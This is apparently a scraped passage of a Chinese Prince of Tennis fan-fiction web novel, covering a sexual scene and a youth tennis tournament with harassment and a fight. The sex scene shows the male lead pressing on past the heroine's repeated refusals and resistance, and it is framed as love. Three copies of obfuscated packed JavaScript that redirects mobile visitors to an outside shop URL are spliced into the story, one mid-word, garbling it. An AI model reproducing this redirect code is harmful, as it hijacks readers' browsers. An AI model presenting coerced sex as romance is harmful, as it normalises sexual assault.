大概是因为这几年的居家办公,她鲜少出门,皮肤白皙得几乎透明,嘴唇透着淡淡的粉色,阳光透过落地窗打在她的侧脸和脖颈,隐隐能够看见青色的血管在下面缓缓流动。 幸村精市回忆起了去温网打比赛时,在大英博物馆里看到的瓷器,温润的白瓷被放在玻璃罩中,精致且易碎。 这些年他看着自己变了很多,一场场比赛打过去,将奖杯举过头顶,听着赛场上万人为他欢呼,也曾在深夜为了打败强敌而焦虑。 他现在已彻底成为了一个成熟的职业选手,为了打出成功的一球,习惯了精心算计赛场上的一切,每一条击出的弧线,旋转,风速,鞋底与地面的摩擦系数......一切尽在他的掌握之中。 神之子的称号延续至今,世人称他为被网球之神眷顾的孩子,只有他知道,他所认识的一个曾经自称为神的人,从不曾眷顾他一眼。 他的病好了,他便成了被神抛弃的人。 每当他以为身后有人在呼唤着他,转过身却只能看到一张张相似无趣的脸,在肆虐的风中说着囫囵不清的话。 “精市,我吃好了。”七海放下筷子,站起身主动收拾起碗筷。 “七海,不用你来做这样的事。”他走到她身侧抓住了她的手。身体原因,她好久没打网球了,她的手是温软的,细腻纤长,他的手却在打了这么多年网球后变得有些粗粝。 上一次碰到她的手是什么时候呢。好像还是高三毕业时,他把校服上的第二颗纽扣取下,放进她的手心里,可她却浅笑着摇了摇头还给了他。 他想,他已经给了她很多次机会了。 她可以说她的身体还没恢复好,那他就会放她回去;她可以说药不在身边,那他依然会放她回去;她也可以听出他的言外之意,他接受她的逃离。 可她到底是真的不懂,还是装作没听懂。无论是哪一种,他都不会再给她机会了。 “精市?”七海看着自己的手仍被他抓着,心下涌起了一丝慌乱。 他将手松开,她刚想放下心来,下一瞬,她却被他整个人箍进怀里,紧紧地抱着。他们的肌肤隔着薄薄的布料相贴,他听到自己的心跳放缓了,她的心跳声却快如擂鼓。 原来她还会为他而紧张,他想她还是爱他的。即使这样的爱像扎进头骨里的一根钉子,他也心甘情愿让这根钉子敲入脑髓,被痛楚蚕食,最后融入他的血肉,化为他身体不可或缺的一部分。 “精市,你怎么了?”她佯装镇定地关心道。 和早已变得圆滑成熟无趣的自己相比,他发现她几乎没怎么变,还是那样一眼就能被看穿的情绪,还是那样自以为有用的伪装,她仍保留着成年人不该有的一丝天真。 他被刀刻笔伐的岁月席卷向了远方,她还停留在原地。 他打断了她不切实际的幻想:“七海,我爱你,别走。” 许多人说,没有什么爱是不可代替的,时间能够抚平一切。可是对幸村精市而言,往事就像墙角的藤蔓,起初它在角落毫不起眼地生长着,等到他注意到时,早已爬满了院墙。 藤蔓的每一个枝节都死死地扒住表面不放,一旦想清理,便会带着大片大片的墙皮剥落,露出错落斑驳的裂痕,那是他无法克制的晦暗欲望。 七海听到自己变得紊乱的呼吸和他均匀的呼吸在耳畔交织,她慌忙开口:“精市,对不起......我该走了。” 她的天真让他几乎要忍不住发笑,他只抱得更紧了:“七海,我不许你走。” “......唔......”他不想再听到她反反复复说着他不爱听的话,他只能用嘴堵住她。他看着她无力地反抗着的模样,吻得愈发霸道深入。 即使过去了这么多年,幸村精市还记得在纽约病房的那一夜,她的每一处弱点他都悉心珍藏。 他是极有耐心的猎手,精心地攻陷着她的点点薄弱。那些阻碍他前进的防线,在他细腻的经营下逐渐崩塌。 她果然彻底招架不住了,身体开始发软,深紫色的瞳孔中弥漫起薄雾,似乎一切都和十年前一样,变了的只有他。 他想要的比以前更多了,亦或者,他想要的其实一如既往,从来都很多。 幸村精市毫不犹豫地将她打横抱起,踏过一层层台阶,她被轻放在那张松软的大床上,原本明亮的视线陡然坠入昏暗。 七海勉力撑着床垫想起身,却被再次按倒在床上,恐慌如同一把冰凉的钳子,突然间夹住了她的心脏,凉意与痛意上涌,她的声音立时颤抖起来。 “精市,不,你别冲动......”覆着紫瞳的薄雾出现了裂痕,她透过缝隙看到了他柔和的蓝紫色瞳孔下毫不掩饰的暗流涌动。 “七海,冲动不会持续十年。”幸村精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047309|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 市俯视着她,发出了一声无奈的喟叹。 她像是被这句话给钉在了床上,再也无法动弹。十年,七海恍惚地想,原来已经过了这么久了吗。 人的一生也不过几个十年,他居然,等了她十年...... 幸村精市只跪在床上凝视了一会儿她神情恍惚的模样,便再次俯下身用双唇封住了她,炽热的手不轻不重地抚上她的软腰,一路向上摩挲过去,心底的欲望翻滚得愈发汹涌。 “......唔......”她的胸膛剧烈起伏着,下巴不自觉地向上仰起,暴露出白皙的脖颈,紫瞳的视线迷离,脸上泛起潮红,就连额前脸颊边凌乱的发丝似乎都恰到好处,让他无法克制地情动。 他离她很近,鼻息喷洒在她的脸上,微微发痒,他耐心地吮咬着,另一手慢慢地将她的衬衣向上撩起,手腕却在半途被她抓住。 “精市,我们不可以......嗯!......”他早就听烦了她的拒绝,稍稍用力一拔便挣脱了她的手。她是礼物,轻轻一扯,那些外缚的阻碍便立刻被撤下,露出了她的柔软,被他肆意揉捏。 无数个深夜里他都是想着她的样子醒来,现在梦中的画面落入现实,他绝不可能再让得手之物从掌心溜走。 听着她断断续续地低吟着,幸村精市再次认真地描摹起她的轮廓,从眉眼到下颌,这样的轮廓在他的笔下画过无数次,反反复复撕碎又再次起笔,总觉得画中人不像她。 唯有今天,他的笔是他的唇,画的人终于是她,触手可及的她。 他想她果然是爱他的,不然不会是这样迷醉的神态。 可是爱他为什么还要让他等十年,这十年足够将一切沉淀在心底的情绪发酵催化,变得愈发浓烈醇厚,现在风暴卷起,沉底的情绪暴烈地肆虐着。 他收回手,再次伸手时已在浓雾弥漫的入口,直至他触到了一抹湿润,他的喉结滑动了一下,唇角难以自抑地扬起,他将头附到她的耳畔,轻声道: “七海,你也有感觉。” 七海想反驳,可她此刻悲哀地发现,自己的反驳只会成为无力的辩白,她确实,不是对他毫无感情。 【要不就算了吧。】 【她在怜悯他的十年吗?】 她即将沉浸在对自我的拷问中,他自作主张的探索却搅乱了一切。 她像是被一层热浪所笼罩,世界已化为一片汹涌的炽焰与电光,流火与激电不住地向下流窜,激起陌生的,异样的酸与酥。 知觉在清醒与坠落之间不停摇摆,时而清晰如镜,时而模糊如梦,直到某个瞬间,焰火散成漫天星光,在脑海中炸开。 他以为他会迫不及待,却发现只是看着她在昏暗中绽放的情态,听着她溢出的碎语,心中便已升腾起餍足之感。 于是她一次次被他点燃,细碎的火星四溅而出,划过神经末梢,明明暗暗地交替闪耀,至焰火燃尽,洪流倾泻,满地潮湿。 她瘫软成了任他施为的模样。幸村精市将手上的潮湿擦净,褪下衣衫,再次俯下身浅吮着她的细碎。 温热的唇在她的肌肤上游走,他低哑着声安抚着: “七海,开始会有点疼,不用忍着。” 洪流滞泄,疼痛也在同一时间缓缓钻入,仿佛一柄利刃将意识劈散,在黑暗中肆虐猖狂,在极度煎熬中徘徊。她难以抑制地咬住唇,抽气声与微弱的痛吟交织,受阻的痛意使他蹙起眉。 黑夜研磨着黎明,一寸寸刺破,他彻底被她的温暖包裹,直达骨髓。 七海伸手想抓住什么,却再次湮没于粘稠的黑。她在汹涌波涛的暗流中摇摇欲坠,偶尔有一丝微弱的曙光穿透而至,又立即被撞击所吞噬。 她被碾碎在他的喘息声中,身周的空气也化作温热的雾霭,混浊而朦胧。 一道炫目的白光划破混沌,万千星辰四散飞溅,顷刻间一切归于虚无。 生命于此刻震颤。 107.第 107 章 赛场的这片角落又是一阵哗然。迹部、幸村、不二、仁王等人倒是早就知道这位昔日队友的心思,其他人你看看我我看看你,全然没想到那个手冢国光会说出这样坦率的话。 入江奏多决定帮自己的好友一把,他微笑着搭话:“手冢君,现在再来后悔不觉得有些迟了吗?” “我们的教练可是很抢手的哦,手冢君。失恋可是比苦瓜还苦的味道,你却让她尝了三年啊!”木手永四郎也没忍住附和,能让那个手冢国光吃瘪的机会可不多。 甚至远野笃京也凑了句热闹:“二阶堂教练,需要我处刑他的话随时说哈哈哈哈哈哈!”少年笑得极尽张狂。 七海已经进入了石化状态,在她不在的这一个月海外合宿时间里,到底她背后被八卦了多少次啊!为什么好像连高中生都很清楚她告白失败的黑历史啊! 而被众人围攻的手冢国光那边,他依旧冷静地回应着质疑与批评,面上毫无波澜: “是我的错,我会尽我所能弥补她。” “所谓迟来的真心,piyo。”仁王雅治举起一根手指不冷不淡地评价。 “国光......”七海垂下眼帘试图掩盖住眼底的晦涩,看着他被这么多人冷嘲热讽着,她心中并没有快意。 似乎一切都颠倒错位了。过去,在大庭广众之下不顾旁人眼光勇敢告白的人是她,而现在变成了他。他们曾经的位置彷徨地交错着,谁也无法预知最终的宿命。 她曾推开了好多人,为他留下一条捷径,他没有来。 等到他来了,她已不在这条路的尽头。 “国光,你回德国队去吧,今天中饭我要和部员们吃。”七海努力挤出一个抱歉的笑容。 “我知道了,七海,晚饭我来找你。雷特鲁教练也找你有事。”他看起来丝毫没有被拒绝的气馁。 幸村精市原本柔和的面色沉了沉,刚才默默地听着他们的对话,他发现这位昔日队友和情敌变了不少。 有正事她便不好拒绝了,七海点了点头:“好,那等下午表演赛结束回到选手村,我来找你吧。” 随着少年的转身离去,两边人马的交锋总算平息下来。 “部长!”七海的身后传来了她思念许久的部员的呼唤,她接住了飞扑而来的吉川阳菜,望向跟在她身后的青学女网部众人。 “大家,好久不见了!”她压下其他情绪绽放出了一个巨大的笑容,自从U17入营,她就再没见过她们。 少女们寒暄了几句,七海这才想起来该和他确认一下,她撇过头,“景吾,是你帮忙的吗?” “除了本大爷还能是谁,啊恩?”迹部景吾笑得肆意。 “谢谢。”她灿然一笑,“大家自由活动吧,别忘了下午的表演赛时间,我带我的部员们吃饭去啦。” ----------------------------- 七海带着青学女网部众人来到了会场的主餐厅,这里贩售各国美食,少女们围着一张圆桌坐下,点了几道不同国家的特色菜边吃边闲聊着。 白石智子眼神锐利:“部长,我怎么感觉手冢部长对你的态度发生变化了呢?”现场她没好意思说,可是刚才那个冰山部长看自家部长的表情好像有点太温柔了吧。 以前是温和,现在又比温和多了好多情绪,以她这个恋爱达人的洞察力来看绝对没错。 七海没想到上来就是这样的问题,她放下叉子托腮思考了片刻,还是照实回答了: “现在,应该能算他在追我吧。还有,你们不用喊我部长了啦,我已经不是了,喊我七海就好。” “诶?!——”餐厅的一角爆发出了整齐划一的惊呼。 “部,部长!”她们还是改不掉这个习惯,罢了。 “那你为什么不同意啊!” 儿玉遥双眼放光,双手疯狂晃着身边的木下葵:“是啊是啊,部长你不是一直想和手冢部长在一起吗?” “我......”七海猝不及防间被这句话给问住了。 明明现在已经知道了过去的三年并不是她的单箭头,为什么不选择接受呢? 是啊,她为什么不选择接受呢?曾经她以为将天各一方,现如今她成了德国队的顾问,与他产生了新的关联。 可让她问她自己,她也说不出答案。即使无关这个世界的宿命。 “我不知道。”她轻声答道。 或许只是因为她也是那种下定了决心就不会轻易更改的人吧,当时他的眼中只有青学的全国大赛优胜和职业选手梦,不曾考虑她。 现在她的眼中也只有日本队的世界杯优胜。 “诶——什么叫不知道嘛。”白石智子撅嘴。 千叶桃子又问:“那迹部君呢?他联系我们的时候,我可是吓了好大一跳。”那个迹部景吾诶!我们家部长果然魅力四射,当初那个网球小姐杂志给她排到第三肯定有黑幕! 她浅笑着:“景吾,他是一个很好的人。” 木下葵一如既往地一针见血:“部长,即使不在女网部你也很会雨露均沾呢。” “部长,果然你最爱的还是阳菜对不对~”吉川阳菜抱着她的胳膊使劲蹭,这些臭男人都离我部长远一点! 她可是亲眼见证了自家部长国中这几年的多次告白,每次被拒绝后强掩落寞的样子都让她心碎不已。 为什么非要是那个冰山部长呢!她看那个迹部景吾也不错,不,为什么非得和男人在一起,部长明明可以独自美丽。 “对对对。”七海宠溺地揉了揉吉川阳菜的小短毛,这熟悉的柔软手感,简直是疗愈神器。 小泉夏树和夏美安静地听着,她们只觉得无论多少人喜欢自家部长都不奇怪,至于部长选择谁是她的事。 饭毕,少女们三三两两分散开去逛会场的购物中心,七海打算去买几根头绳以防打比赛和解封绝对主宰法术前摇的不时之需,独自步入了一家装修粉嫩的饰品店。 “哇,这也太可爱了吧!”手上是一根串着许多微缩网球的荧光绿头绳,不得不说,这次的主办方是有好好招标的,她本以为是家普通的饰品店,却没想到还有设计网球的周边饰品。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057592|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 只是,这一款好像很热销,她手上拿着的是最后一根了,站在她身边的这位金发碧眼的小姐似乎也想要,否则她也不会视线紧盯着她手中那根发绳。 “你好,你也想买这根头绳吗?”感谢翻译器,她只需要说日语就可以了。 “嗯,有点想要呢。” “啊,我没事的,我是教练,我会在这里呆很多天,我可以等补货,这根给你吧。”说着,七海拉起她的手把手中的发绳放下,修长的手指轻轻擦过少女的掌心。 金发少女看着掌心的发绳愣了几秒,感激之情溢于言表:“真的吗?那实在是太谢谢你了!” 七海笑弯了眉:“不客气的,玩得开心哦。”只是,除了这根别的她都没有看得上的,算了,随便拿几根去门口结账吧。 她挑拣了几根正欲往柜台走去,却听到门口传来几个人的交谈声。 "喂,那个女的不是那个什么二阶堂教练吗?"七海抬起头,两个韩国队的选手站在不远处肆无忌惮地对她着指指点点。 视线相撞,几人向她逼近。 “二阶堂教练,是你吧,嗯?”这位肌肉发达的大脸男语气算不上多友好。 “是我,找我有事吗?”七海冷冷答道。 另一位眼睛狭长的韩国选手毫不客气地上下打量了她一番,尤其在她的胸部停留了好几秒: “看起来好像也没什么特别的,胸也不大,怎么就让那几个队伍的队长对你流连忘返的,嗯?” 大脸男大笑着调侃:“是床上功夫很厉害吧哈哈哈哈,说不定在日本队里也是被共用的呢。” 小眼男故作阻拦,实则眼中也满是戏谑:“呀你个狗崽子,说什么呢。” “呀,日本队的小教练,听说日本女人都和片里那样很会叫呢,多少钱能买你一晚,嗯?我们保证出的钱比那几个白男黑男多哦。” 下流的笑容没有任何避讳的意思,两人的眼神肆无忌惮地在她身上游走。 七海听到这里还有什么不明白,这几个韩国人是来找事的。她强行镇定......个屁!这种人渣根本没有冷静的必要。 少女眯了眯眼,一个箭步上前,瞄准大脸男的裆下就是一脚—— 饰品店门□□发出的雄性惨叫声响彻了整个购物中心。 “居然敢踢老子!” 另一位没被踹裆的韩国队选手倒是反应极快,他直接揪住了少女的长发试图把她拖到店门边的一处死角,她用力去扒他的手,头发却被拽得生痛。 七海心中大喊糟糕,这两个人的肌肉看来不是吃药吃的,而是真的练出来的。 韩国人向来不遵守比赛规则,真的被他们拖出去......慌乱和恐惧顿时席卷而来,她的心脏狂跳不止。 “啊西!——”突然,眼前的人渣痛呼了一声,揪住她头发的手松开了,她赶紧往后退了两步。 只见他的手上鲜血如注,似乎被什么东西扎了。紧接着,身后传来一道熟悉的声音: “恶意提示一下二位,诽谤造谣教练后果不妙哦,噗哩。” 108.第 108 章 “仁王,你是笨蛋吗。” 七海难受地盯着坐在医务室床上浑身是伤的少年。他的脸还好,可是身上胳膊上却被发夹的尖锐处划出了许多道血口子,划伤他的发夹还是他自己当做飞镖扔过去的。 现在,他胳膊上的绷带比白石藏之介还多了,还好都是皮外伤,只是看着绷带上渗出来的斑斑血迹仍旧触目惊心。 半小时前,饰品店门口两边打了起来,店里没有网球,她的绝对主宰起不到丝毫的作用,只能打电话喊安保来强行分开了两边的人。 唯一的好消息是,那两个韩国队选手的出言不逊被店门口的监控摄像头录得一清二楚,她已经将情况上报给组委会,他们应该要被要求退赛了。 仁王雅治还是挂着那副玩世不恭的笑:“噗哩。” “你噗哩个屁啊你!比赛在即,你和别人打什么架!” “我不过就是被说几句,他们也不敢真的拿我怎么样。门口有监控摄像头,现在他们多半要被退赛了,仁王,你能不能学聪明点,你根本就不用和他们打的呀......” 七海挫败地碎碎念着。 还是和两个肌肉男,他们一顿吃的肉估计比眼前的少年一天吃得都还多。 少年收起了笑容,认真回道:“那种话听了也能忍的话还算男人吗,噗哩。” “可是。”七海一时间噎住了,确实她自己也没能忍住,随即,她想起另一件事。 “所以,盯着我手里发绳的女生是你幻影的。” “是我。” “仁王,没想到你还有幻影成女生的癖好,那根发绳呢?” 仁王雅治掏了掏衣兜,摸出来了一堆小零碎——水果糖,巧克力球,还有躺这其中的那根发绳,原本荧光绿色的发绳和小球上不知何时沾染了血迹,光泽尽失。 七海拿走他手心的发绳,沉默地抚过表面的棕色。 他还想说点什么,却见坐在椅子上的少女嘴巴一瘪默默流着泪,他有点慌了。 “二阶堂,别哭了。”他温声道。 “我,我这么努力不想你们受伤,结果,你们受伤都是我害的。”七海啜泣着,眼泪不断落下。 和平等院打比赛那次也是。 第二天,她眼睁睁看着石田被击飞到高空,眼睁睁看着他的手肘受伤,丸井和木手也伤痕累累,最后,眼睁睁看着德川被平等院打到吐血。 如果不是她自己不争气吐了血激化了两边的矛盾,或许这一切根本就不会发生。 七海越想越心酸,泪水伴随着自责愈发汹涌:“为什么要为我出头啊,呜呜......” 不知过了多久,少年轻声开口: “因为你值得。” 她是骗子,但对每个人都尽职尽责,全心全意,好像是不是骗子也不重要了。 ------------------------------ 下午的表演赛照常,韩国队的两位代表选手被退赛的消息公布在官网上,未曾说明的理由引来众说纷纭。 有好事者将自己围观到的打架现场绘声绘色描述了一遍po在评论区,再次引发了一场激烈的讨论。 L2:日本队的少年干得漂亮,不尊重女性的男人就该被揍! L5:那个什么二阶堂教练,我看就是红颜祸水,以后必将把干净的男子网坛搅得一团乱,韩国队的人说不定只是道出了实情,他们恼羞成怒了呗 L13:有道理,否则一个女人怎么可能,是吧 L74:女人就是这样,没几分实力,全靠岔开腿就能被男人拥护,男人可就活得艰难多咯 L75: 楼上,我看是你自己卖□□才这么有心得吧 L206:无论如何,男子网球,女人出现就是碍事 L207:赞成楼上 L313:也别这么说,至少满足了那群年轻气盛的少年的x欲也算贡献啊 L388:不许污蔑二阶堂教练!!! L389:拥护她的人这不就来了,上她很爽吧? L603:已经查明了楼上所有造谣诽谤的账户,不日将全部进行封号处理。 五楼评论的账户已被封,下面附和的人却不少,手冢国光看着手机屏幕上自动翻译成日语的评论区神色凝重,心下涌起一股浓重的愤怒和后悔。 他不替她出头,自会有其他人替她出头,他想他下次不该顾全大局。 “国光,准备上场。”博格沉声道。 “Ja.”他将手机塞回网球包侧袋,收起思绪目视前方。 七海这边,她不由分说地把仁王雅治拖上了返程的班车,叮嘱他好好休息,边回着少年们在群里关心的艾特边往赛场飞奔去,总算在表演赛开始之前赶到了。 封闭的赛场内,两方选手还未出场,昏暗的几盏灯打在地面上聊胜于无。 七海赶到候场区,和少年们打了声招呼,又努力安抚了一通他们的愤怒情绪,接着默默站到了平等院凤凰身侧。 “仁王那个蠢货没事?”平等院双手抱臂不咸不淡地开口。 “还好是皮外伤,没大碍。”七海低头小声答道,垂在腿侧的双拳紧握着。 “你没事?” 七海意外地抬起头看了他一眼,“我没事。” 金发少年冷嗤一声:“世人陋劣,不必在意。” 他引用了她在开幕式上说的话,七海再度讶异地瞥了平等院凤凰一眼。 “平等院,你这是在安慰我吗?” 平等院凤凰咧开嘴角:“神还需要凡人安慰?” “你说得对。”她笑了。 “Under17世界杯,表演赛德国VS日本,有请两边队伍入场!”扩音器中传来了主持人的邀请,七海直起身整肃了一下表情。 “走吧!” 听着主持人的介绍,七海无语到蹙眉——不是,这个旁白也太区别对待了吧!日本队就是一句欢迎入场,德国队是一堆前缀头衔加上高亢的音调,直接点燃了全场观众的热情。 现在,她和他们的耳旁只能听到观众呐喊着“Germany!Germany!”,日本队的应援声完全被德国队的应援声压倒,淹没了。 走到教练席和平等院两人坐下,身后传来了几道讨论声。 木手感叹着:“手冢,那副沉着到让人冒火的表情还是没有变啊。” 白石同样感慨:“是啊,手冢君,他的气场又更强了啊。” 他的强势,他的转变,她早领悟过了,以......那样的方式。 七海不再多想,看着手中的出战名单陷入了沉思。 第一局,Duke的实力配上周助的灵活打法,赢的几率不小,可是第二局——那天她走了之后,他们讨论出的出赛组合是迹部景吾和入江奏多。 入江,以他的性格,他真的会在表演赛上使出他的真正实力吗? 比起这个,也不知道德国队那边的出场人员是否真的如她所预料,罢了,现在还是先专心看比赛吧。 “现在进行第一场比赛!” 日本队,不二周助与Duke上场,而德国队那边出场的—— 塞弗里德和俾斯麦! “哇,公主殿下也太厉害了吧,第一局的出场选手就预测正确了!”切原赤也大声呐喊着,脸上的崇拜之情满溢,七海默不作声。 令全场观众始料未及的是,比赛开场的第一球便彻底改变了局势,塞弗里德侧过头在和日本少年说着什么,Duke一计大力的全垒打直接将塞弗里德击飞。 俾斯麦无情地嘲笑着橙发少年,七海心中却不太爽利。她确实因为塞弗里德对国光的敌意不怎么喜欢他,但,这样对队友蔑视的态度她也不喜欢。 接下来,德国队那边成了俾斯麦一人的舞台,他似乎想靠发出无旋转的球封印Duke的攻击。 “无旋转的球让Duke无法接触SSS点吗......俾斯麦,你太天真了。”教练席上的少女了然地笑着。 如果在合宿的一个月用了一个月那样的十字球拍还无法学会在各种环境下打出超级甜区点位的球,那她过往的努力不就都白费了吗。 对场,又一个无旋转的球发过来,只见Duke一个灵活旋拍,硬是为原本无旋转的球周身增加了一圈气流,无旋转的球变回了外旋球,他的全垒打再次击向俾斯麦! “0-30!”小球在地上砸出一个浅坑,日本队再拿下一球! “俾斯麦,你的想法早就被我们的教练看破了。”Duke温和道。 更何况.....七海将视线移向赛场上清俊少年,浅浅一笑,周助,他还没发力呢。 “风的攻击技——葵吹雪!”少年一个吊高扣杀,狠狠将黄色小球回击到对场! “Game 日本,1-0!” 周助,他现在已经是攻击与防守并具的全方位全能型选手了,进可攻,退可守。 如果说他过去是一把软盾,看似柔软实则强韧,那么如今,他的盾上已经长出了锋利的尖刺,他的手上亦多出了一把利剑,足以让每一个想击破他的防线的人思量三分。 真田弦一郎意外道:“真没想到擅长防守的不二会打出这样攻击性十足的球啊。” “我看到了。”终于坐船赶到,此刻已经坐在看台上的种岛修二突兀开口,笑得神秘兮兮。 “手冢君走了之后,好几个晚上我们的天才教练都和不二君在1号球场打球哦☆”谁让他是个夜猫子。 “诶!!公主殿下偷偷和不二学长打球吗!”切原赤也有那么点嫉妒。 “其实从很早以前就开始了。”大石秀一郎陷入了久远的回忆。 国中入学的第一天,她就拉着两人跑去一年6组找到不二絮絮叨叨了一通,之后他也时不时看到他们两个人出现在部活结束后的青学女网赛场。 还有那天,她在不二面前痛哭着,骂他为什么想放弃网球,骂他如果放弃就不配被称作天才。 “七海,她一直以来最看好的选手,其实是不二。” 德国队的看台边,QP温声感叹:“这和我们从日本收集到的数据差太多了,简直就是判若两人。” “不过。”白发少年将目光转向坐在教练席的少女,“有二阶堂教练在,似乎又不奇怪了。”博格沉默不语,他没想到试探的第一组双打最后是3-6惨败。 不二周助使出了自己的一个又一个攻击绝技,然而这些甚至还不是全部,或许他早该尝试走进攻流,所以才能成长得如此迅速。 又或许,是为了与过去的他彻底告别,少年的发球一次比一次迅猛。肩膀、手臂、腰腹都跟随着拍头的轨迹旋转摆动,构成一个个优美流畅的击球动作。 再见了,过去的我。 再见了,曾经追随着他人的我。 再见了,不二周助! “风的攻击技——樱羽落!” “Game 日本,3-2” “雨的攻击技——水引月!” “Game 日本,5-3” “雪的攻击技——枝垂雪!” “Game end match 日本,6-3!” 赛场上爆发出一阵又一阵雷鸣般的欢呼声,日本,也成了观众们口中值得骄傲为之欢呼鼓舞的存在。这些声音也是送给你的,周助。 棕发少年在网前见礼后返回看台,与少女交换了一个心照不宣的眼神。 七海捋了捋耳边的碎发,嘴上说着抱歉脸上却满是笑意,扒着教练席的椅边对着平等院臭屁道:“哎呀,平等院,真抱歉,似乎没有给Duke发力展示的机会呀。” 平等院凤凰勾了勾唇角:“呵,第一局能这么顺利拿下,就让你的那个初中生出点风头。” 表演赛第二场开始,大屏幕上出现了德日两边的参赛选手。 “德国队上场的,真的是手冢和QP!七海,你该不会全部预测正确了吧!”大石秀一郎呆愣地盯着屏幕上的照片,又垂头望向赛场上的两人。 “如果是我的话也没什么好奇怪的吧。”七海侧头看向身后的秀一郎,傲然挑了挑眉,大石秀一郎失笑,看到她还是这幅自信的模样他就放心了。 鬼十次郎跟着沉声道:“那么,根据二阶堂你的推测,这场比赛我们会输了。” “嗯。QP的实力很强,国光也是,之前发给大家的数据也都看到了。”少女漫不经心地用手指轻敲着身下的椅面,即使入江奏多使出自己的全部实力,这场比赛也很难说。 她很清楚,现在的手冢国光,已经不是迹部景吾可以靠持久战打败的了。 景吾,属于你的路,你的未来,或许该站在更高处,望得更远。 只是,比赛一开局,德国队毫不掩饰的强势作风还是让她震撼在原位。更令她震撼的是他口中说出的话,国光,他过去打比赛从来不会说这样毫不留情的狠话...... 七海难以置信地瞪大了双眼,紧盯着赛场上此刻发生的一切—— 迹部景吾半跪在地上,汗水一滴滴渗进地面,大屏上,5-0的比分刺痛着他的双眼。 手冢国光居高临下的俯视着他,面色冷峻:“怎么了,迹部?你还打算在那里跪多久。” “现在的你,配吗?” 他没有把话说尽,跪在他面前的迹部景吾却理解了他在说什么,死死咬紧了牙关,仰首瞪着他,借着球拍的支点勉力起身。 “手冢,本大爷配不配,不用你来说!”迹部景吾沉声怒喝。可恶,一个个的都来说他不配,不合适!迹部景吾,现在的你已经配不上她了吗?他才不会让这样的事发生! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057593|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “配不配?白石,他们在说什么啊。”远山金太郎挠头。 白石藏之介神色莫测地摸了摸小金的头,没有答复。忍足侑士眼镜后的表情也晦暗了几分。 平等院凤凰又开始冷笑,他斜睨了一眼身边的少女,注意到了她眼中的惊骇和一抹不易察觉的心酸。二阶堂,又是你惹的好事,呵。 【在教练休息室观赛的斋藤至:有时候想想,红颜祸水这个词也不能算完全错误呐。】 【黑部由起夫:信不信我把你这句话发给小七海】 【拓植龙二:不要用这种词说她】 【斋藤至:我错了,不该开这样的玩笑,我闭嘴】 “Game end match 德国,6-0!” 这个比分,过于惨烈了......七海下意识咬唇,将担忧的视线投向回到赛场边的迹部入江两人,却见前者穿上外套背起网球包一副要离场的模样。 “迹部,表演赛还没结束,你要去哪里?站住!”真田弦一郎在后方怒吼着。 “景吾,你要去哪里?”少女赶忙起身走到他面前关切道。 “二阶堂。”少年看出她紫瞳中的忧虑沉默了一瞬,在这片球场上,他确实还配不上她。“我找到自己缺少的东西了,等本大爷回来。” 他揉了揉她的头,大步流星地离去。 七海默然凝望着,直到身影彻底消失在视野之中,转身回到了教练席上。 她是教练,还有一场比赛她不能缺席。 对场的茶发少年冷眼盯着那边的互动,塞弗里德在这三人之间来回扫视,他好像发现惹怒自己这个面瘫日本队友的方法了,呃,只是他现在不太敢用。 第三场比赛开始,双方选手入场。 赛场上整齐划一地呐喊着那个光头少年的名字,他不仅是职业选手,更是U17组别职业选手中的最强男人——尤金·鲍里索维奇·博格。 “居然,居然真的是博格!”切原赤也瞠目结舌,海藻般的头发在博格入场的那一刻瞬间绷直了一秒。 平等院见到自己期待已久的对手入场,面色霎时间冷冽了几分:“二阶堂,和你说的一样。” “嗯......”而这样可怕的对手,他们这边出场的是——七海捏紧了手上的出战名单。 “德川和也,幸村......精市。”她这才注意到,今天他一直都没有怎么说话。 少年们从身后的看台上走到教练席边,七海起身: “德川,精市,这场比赛虽然我们必输无疑,但是也要打出日本队的气势!” “和博格一起出场的是几近于机器人的选手,他能够瞄准你们的弱点,控球力极强。德川,你的黑洞,小心缝隙被抓住,制造的时候注意排列组合,缝隙一定要比网球小。” 少女沉吟片刻,意味深长道:“或者......最高端的猎手往往以猎物的模样出现。德川,你也可以刻意制造缝隙,诱导弗兰肯斯坦纳往那里击球,让精市在后场补位。” 她微微侧头:“精市,你的网球我无需多言,只是,你的灭五感要小心被反过来利用,对面可不再是不破铁人了。但是,你也已经有了自己主动消去五感的经验,所以我相信对你来说不成问题。” “我要说的就这么多,去吧!”少女极有气势地一挥手。 “七海,我们明白。走吧,德川君。”幸村精市沉肃着脸点了点头。 比赛开局,日本队靠黑洞的配合居然直接拿下发球局并破发! “Game 日本,2-0” 一时间,赛场上弥漫着前所未有的凝重气氛。那个德国队,居然被破发了?!紧接着,响起的是为日本队应援的一阵又一阵浪潮。 